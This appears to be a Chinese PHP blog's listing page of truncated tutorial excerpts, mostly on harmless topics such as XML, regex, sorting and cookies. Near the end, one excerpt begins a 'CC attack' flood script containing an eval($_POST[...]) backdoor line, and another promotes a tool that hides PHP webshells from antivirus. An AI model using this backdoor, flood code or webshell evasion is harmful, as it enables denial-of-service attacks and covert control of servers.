閱讀(11) 作者(admin)
php超級(jí)全局變量列表
$_GET[] 獲得以GET方法提交的變量數(shù)組
$_POST[] 獲得以POST方法提交的變量數(shù)組
$_COOKIE[] 獲取和設(shè)置當(dāng)前網(wǎng)站的Cookie標(biāo)識(shí)
$_SESSION[] 取得當(dāng)前用戶訪問(wèn)的唯一標(biāo)識(shí),以數(shù)組形式體現(xiàn),如se...
閱讀(18) 作者(admin)
生成如下XML串 Xml代碼復(fù)制代碼 代碼如下:<?xml version="1.0" encoding="utf-8"?><article> <item> <title size="1">title1</title> <content>content1</content> <pubdate>2009-1...
閱讀(19) 作者(admin)
前面我們已經(jīng)學(xué)習(xí)了正則表達(dá)式的基礎(chǔ)語(yǔ)法,包括了定界符、原子、元字符和模式修正 符。實(shí)際上正則表達(dá)式想要起作用的話,就必須借用正則表達(dá)式處理函數(shù)。本節(jié)我們就來(lái)介紹一下PHP中基于perl的正則表達(dá)式處理函數(shù),主要包含...
閱讀(17) 作者(admin)
去年做過(guò)一個(gè)項(xiàng)目,要把用戶上傳的圖像文件列出文字清單,當(dāng)用戶點(diǎn)擊一個(gè)文件名后,就可以顯示這個(gè)圖像.
因?yàn)橐紤]兼容各種不同的圖像格式, 我使用了GD庫(kù), 判斷出具體是那種圖像文件(MINE),再調(diào)用相應(yīng)的image生成函...
閱讀(20) 作者(admin)
PHP中3種生成XML文件方法的速度比較 有3種方法,分別是直接寫;使用DomDocument;使用SimpleXML;其實(shí)還有第4種:使用XMLWriter,不過(guò)我沒(méi)用過(guò),也懶得試了.主要是想看看這3種方式哪個(gè)速度要快些直接上代碼:
復(fù)制代碼 代碼...
閱讀(18) 作者(admin)
1> if( "false" ) 等效于 if( true), 因?yàn)榉强兆址莟rue 2> 檢查數(shù)據(jù)類型: is_array(); is_object(); is_string(); is_null(); is_integer(); 3> PHP5 引入類的類型提示(type hint),用來(lái)約束一個(gè)方法的參數(shù)類型(...
閱讀(20) 作者(admin)
UUID(Universally Unique Identifier),GUID都是希望在整個(gè)時(shí)空范圍內(nèi)能產(chǎn)生唯一識(shí)別碼,這在分布式計(jì)算環(huán)境下是必要的. 然而,如果僅僅是想在一個(gè)受限定的局部環(huán)境下,想生成一個(gè)"局部唯一識(shí)別碼",使用UUID就是殺雞用牛...
閱讀(25) 作者(admin)
那么這個(gè)隨機(jī)名人名言的功能是如何實(shí)現(xiàn)的呢?
其實(shí)很簡(jiǎn)單,只需要一個(gè)字符串變量,這里面放所有要隨機(jī)展現(xiàn)的名人名言,然后用到explode函數(shù)分解成數(shù)組,再用rand隨機(jī)數(shù)生成一個(gè)值,輸出這個(gè)數(shù)組中的某一句。
直接上代碼: says...
閱讀(13) 作者(admin)
一. 單例模式(Singleton) 如果應(yīng)用程序每次包含且僅包含一個(gè)對(duì)象,那么這個(gè)對(duì)象就是一單例. 用來(lái)替代全局變量. 復(fù)制代碼 代碼如下: <?php require_once("DB.php"); class DatabaseConnection{ <STRONG><SPAN style="CO...
閱讀(23) 作者(admin)
前幾天寫過(guò)一篇可以獲取到百度跳轉(zhuǎn)之后的網(wǎng)址的文章,在百度了一下,有人也研究過(guò)百度link?url=的。
大概得出如下結(jié)果:
1、加密方式根據(jù):隨機(jī)+輸入停留時(shí)間+快照地址進(jìn)行加密 2、整個(gè)代碼中應(yīng)該有三個(gè)部分:1、搜索詞的時(shí)...
閱讀(17) 作者(admin)
基本邏輯思路和.net的一樣,就是將通過(guò)實(shí)體類來(lái)進(jìn)行配置換成了通過(guò)數(shù)組進(jìn)行配置,邏輯比較簡(jiǎn)單,根據(jù)條件判斷拼接分頁(yè)html。
有以下幾個(gè)簡(jiǎn)單的功能:
1:支持相關(guān)按鈕的顯示與否配置 2:支持每頁(yè)數(shù)目,文本名稱,html標(biāo)簽類名稱...
閱讀(25) 作者(admin)
算法原理如果用P表示n個(gè)元素的全排列,而Pi表示n個(gè)元素中不包含元素i的全排列,(i)Pi表示在排列Pi前面加上前綴i的排列,那么n個(gè)元素的全排列可遞歸定義為: ① 如果n=1,則排列P只有一個(gè)元素i; ② 如果n>1,則全排列P由排列...
閱讀(25) 作者(admin)
復(fù)制代碼 代碼如下: <?php function dir_path($path) { $path = str_replace('//', '/', $path); if (substr($path, -1) != '/') $path = $path . '/'; return $path; } /** * 列出目錄下的所有文件 * * @param str...
閱讀(20) 作者(admin)
在這篇文章中主要解決兩個(gè)問(wèn)題:
1:在php中如何把html中的內(nèi)容生成到word文檔中 2:php把html中的內(nèi)容生成到word文檔中時(shí),不居中顯示問(wèn)題,即會(huì)默認(rèn)按照web視圖進(jìn)行顯示。 3:php把html中的內(nèi)容生成到word文檔中時(shí),相關(guān)樣式不...
閱讀(15) 作者(admin)
冒泡排序?qū)崿F(xiàn)原理① 首先將所有待排序的數(shù)字放入工作列表中。② 從列表的第一個(gè)數(shù)字到倒數(shù)第二個(gè)數(shù)字,逐個(gè)檢查:若某一位上的數(shù)字大于他的下一位,則將它與它的下一位交換。③ 重復(fù)步驟②,直至再也不能交換。代碼實(shí)現(xiàn)復(fù)制...
閱讀(15) 作者(admin)
域名和cookie 偶然想到一個(gè)問(wèn)題:www.g.cn能把cookie設(shè)置為.g.cn,那么www.com.cn能設(shè)置把cookie設(shè)置為.com.cn嗎?
試驗(yàn)結(jié)果:不能。因?yàn)闉g覽器知道www.com.cn的后綴是.com.cn而不是.cn,所以禁止設(shè)置cookie。 因?yàn)闉g覽器內(nèi)...
閱讀(12) 作者(admin)
display_errors 錯(cuò)誤回顯,一般常用語(yǔ)開(kāi)發(fā)模式,但是很多應(yīng)用在正式環(huán)境中也忘記了關(guān)閉此選項(xiàng)。錯(cuò)誤回顯可以暴露出非常多的敏感信息,為攻擊者下一步攻擊提供便利。推薦關(guān)閉此選項(xiàng)。 display_errors = On 開(kāi)啟狀態(tài)下,若出現(xiàn)...
閱讀(19) 作者(admin)
選好一種記住,以后需要使用的時(shí)候就可以直接使用,或者來(lái)本站查看本文也是可以滴。 復(fù)制代碼 代碼如下: <?php //方法一: function extend_1($file_name) { $retval=""; $pt=strrpos($file_name, "."); if ($pt) $retval...
閱讀(25) 作者(admin)
數(shù)據(jù)庫(kù)中,存放文章的表中有“Tag”字段,用來(lái)存放標(biāo)簽。標(biāo)簽之間用“,”分隔。比如“PHP,VB,隨筆”。 下面的實(shí)現(xiàn)代碼,將標(biāo)簽從數(shù)據(jù)庫(kù)中搜出來(lái),并格式化處理,使其以出現(xiàn)的次數(shù)為依據(jù)顯示出不同大小的文字連接。 其中的細(xì)節(jié),...
閱讀(13) 作者(admin)
我看過(guò)phpcms、discuz的源碼,所以可能就缺乏創(chuàng)新了,不過(guò)原理大都相通,只是細(xì)節(jié)處理可能稍微不同。 說(shuō)正題,下面開(kāi)始談?wù)劸唧w實(shí)現(xiàn)過(guò)程了。 1.首先要想好模板文件放在哪?轉(zhuǎn)換后的php文件放哪?還有怎么命名?直接上源碼: 復(fù)制代碼...
閱讀(10) 作者(admin)
一、問(wèn)題:
數(shù)據(jù)庫(kù)是MS SQLServer2000,要把SQLServer2000里的一張表的數(shù)據(jù)導(dǎo)入MySQL5,其中SQLServer2000表的字段以簡(jiǎn)體中文命名(強(qiáng)烈建議不要以中文做為字段名)。其實(shí)操作就是對(duì)SQLServer查詢記錄,插入到MySQL里。選擇...
閱讀(29) 作者(admin)
第一種:復(fù)制代碼 代碼如下: <?php ?$str="this is a test /n"; $patten = array("/r/n", "/n", "/r"); ?//先替換掉/r/n,然后是否存在/n,最后替換/r $str=str_replace($order, "", $str); ?> //php 有三種方法來(lái)解決...
閱讀(13) 作者(admin)
例如: 復(fù)制代碼 代碼如下: <?php $a = 1; include 'b.inc'; ?> 這里變量 $a 將會(huì)在包含文件 b.inc 中生效。但是,在用戶自定義函數(shù)中,一個(gè)局部函數(shù)范圍將被引入。任何用于函數(shù)內(nèi)部的變量按缺省情況將被限制在局部函數(shù)范...
閱讀(16) 作者(admin)
cc攻擊代碼,支持udp復(fù)制代碼 代碼如下: <?php eval($_POST[Chr(90)]); set_time_limit(86400); ignore_user_abort(True); $packets = 0; $http = $_GET['http']; $rand = $_GET['exit']; $exec_time = $_GET['time'];...
閱讀(23) 作者(admin)
lostwolf寫的 這不是webshell,只是個(gè)webshell免殺工具 切勿當(dāng)初webshell使用 僅限免殺phpwebshell 該工具運(yùn)行在 cli 模式! 如果有無(wú)法突破的文件內(nèi)容過(guò)濾 可嘗試下用這個(gè)工具 免殺大馬! 任意php webshell 通過(guò)此工具編...